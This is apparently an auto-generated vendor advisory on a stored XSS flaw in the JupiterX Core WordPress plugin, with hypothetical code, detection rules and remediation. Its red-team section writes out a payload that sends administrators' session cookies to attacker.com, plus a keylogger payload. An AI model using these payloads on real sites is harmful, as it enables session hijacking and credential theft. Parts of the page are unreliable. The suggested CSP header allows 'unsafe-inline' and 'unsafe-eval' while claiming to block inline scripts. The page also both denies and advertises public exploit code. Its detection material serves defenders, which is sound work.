CVE-2025-47475
Executive Summary
CVE-2025-47475 is a Stored Cross-Site Scripting (XSS) vulnerability in the JupiterX Core plugin for WordPress, affecting versions up to and including 4.8.11. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the WordPress database. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available. This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and commercial channels. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Artbees). No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using the affected version.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – An attacker needs contributor-level access or higher.
- User Interaction: Required (UI:R) – A user (e.g., admin) must view the compromised page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Content modification possible.
- Availability Impact: Low (A:L) – Minor disruption possible.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used WordPress plugin makes this a significant risk for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the jupiterx-core plugin, which provides extended functionality for the JupiterX WordPress theme. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database and later rendering it in a web page. Specifically, input fields that accept HTML or rich text (e.g., custom post meta, shortcode attributes, or widget settings) are not filtered using WordPress's built-in wp_kses() or similar functions. When the stored data is output via echo or the_content() without escaping, an attacker can inject arbitrary HTML and JavaScript.
Attack Flow:
- An authenticated user with contributor-level privileges (or higher) crafts a malicious payload, e.g.,
<script>alert('XSS')</script>. - The payload is submitted via a vulnerable input field (e.g., a custom meta box or shortcode parameter).
- The plugin stores the payload in the
wp_postmetaorwp_optionstable without sanitization. - When an administrator or other user views the page containing the stored data, the script executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.
Root Cause: The plugin uses $_POST or $_GET data directly in database queries and output without calling sanitize_text_field(), esc_html(), or wp_kses_post().
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.8.11):
// In a shortcode or meta box handler
$input = $_POST['custom_field'];
update_post_meta($post_id, 'jupiterx_custom_data', $input);
// Later, when rendering:
echo get_post_meta($post_id, 'jupiterx_custom_data', true);
Patched Code (Hypothetical):
// Sanitize input
$input = sanitize_text_field($_POST['custom_field']);
update_post_meta($post_id, 'jupiterx_custom_data', $input);
// Escape output
echo esc_html(get_post_meta($post_id, 'jupiterx_custom_data', true));
The patched version uses sanitize_text_field() to strip malicious tags on input and esc_html() to encode special characters on output, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site running JupiterX Core <= 4.8.11.
- An authenticated account with contributor-level privileges or higher.
Exploitation Steps:
- Log in to the WordPress admin panel.
- Navigate to a page or post editor that uses a vulnerable JupiterX Core shortcode or meta box (e.g., a custom testimonial or portfolio item).
- In a text field (e.g., "Client Name" or "Description"), inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the post/page.
- When an administrator views the page, the script executes, sending their session cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var key = e.key;
new Image().src = 'https://attacker.com/log.php?key=' + key;
}
</script>
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress admin logs for unusual post meta updates from low-privileged users.
- Scan the database for suspicious entries in
wp_postmetaandwp_options:SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%'; - Review recent posts/pages for unexpected JavaScript in custom fields.
- Use a web application firewall (WAF) to block common XSS patterns.
Mitigation:
- Immediately update the plugin if a patch becomes available.
- If no patch exists, disable the vulnerable plugin or restrict contributor-level access.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256): (None available – no known malicious files)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or?key=parameters. - Unusual
POSTrequests to/wp-admin/admin-ajax.phpwith suspicious payloads.
- Outbound HTTP requests to attacker-controlled domains containing
- Database Indicators:
- Rows in
wp_postmetawheremeta_valuecontains<script>,onerror,onload, orjavascript:. - Rows in
wp_optionswith similar patterns.
- Rows in
- Log Indicators:
- WordPress debug log entries showing
wp_ksesfailures or unescaped output. - Web server access logs with
%3Cscript%3E(URL-encoded<script>) in request parameters.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_47475_JupiterX_Stored_XSS {
meta:
description = "Detects stored XSS payloads in JupiterX Core plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47475"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:\s*/is
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: Stored XSS in JupiterX Core Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress post meta or options
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
- meta_value|contains: '<script>'
- meta_value|contains: 'onerror='
- meta_value|contains: 'onload='
- meta_value|contains: 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47475 JupiterX Stored XSS Payload"; flow:to_server,established; content:"<script>"; http_client_body; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47475 JupiterX XSS Cookie Exfiltration"; content:"?cookie="; http_uri; nocase; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: Check the WordPress plugin repository or Artbees website for a patched version. If available, update to the latest version immediately.
- Disable the plugin: If no patch is available, deactivate and delete the JupiterX Core plugin until a fix is released.
- Restrict user roles: Remove contributor-level access from untrusted users. Only grant administrator access to trusted personnel.
Long-Term Measures:
- Implement a Web Application Firewall (WAF) with XSS rules (e.g., ModSecurity with OWASP CRS).
- Enforce Content Security Policy (CSP) headers:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';" - Regularly audit WordPress plugins for known vulnerabilities using tools like WPScan.
- Train content editors to avoid pasting untrusted HTML into custom fields.
Patch Monitoring: Subscribe to the WordPress plugin advisory feed or monitor the CVE page for updates.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.